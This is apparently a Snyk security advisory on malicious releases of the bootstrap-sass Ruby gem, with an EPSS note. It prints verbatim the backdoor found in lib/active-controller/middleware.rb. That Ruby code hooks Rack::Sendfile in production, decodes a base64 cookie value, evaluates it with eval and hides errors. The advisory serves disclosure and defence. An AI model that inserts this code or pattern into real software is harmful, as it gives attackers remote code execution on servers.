Snyk has a published code exploit for this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applicationsAvoid using the malicious versions of bootstrap-sass
.
bootstrap-sass is a Sass-powered version of Bootstrap 3, ready to drop right into your Sass powered applications.
Affected versions of this package are malicious.
The file lib/active-controller/middleware.rb
contains a backdoor which will enable a remote attacker to run arbitrary code on the server by decoding a specific cookie value and evaluating its content.
When bootstrap-sass
gets imported, it also imports the following malicious middleware code that resides on lib/active-controller/middleware.rb
:
begin
require 'rack/sendfile'
if Rails.env.production?
Rack::Sendfile.tap do |r|
r.send :alias_method, :c, :call
r.send(:define_method, :call) do |e|
begin
x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
eval(x) if x
rescue Exception
end
c(e)
end
end
end
rescue Exception
nil
end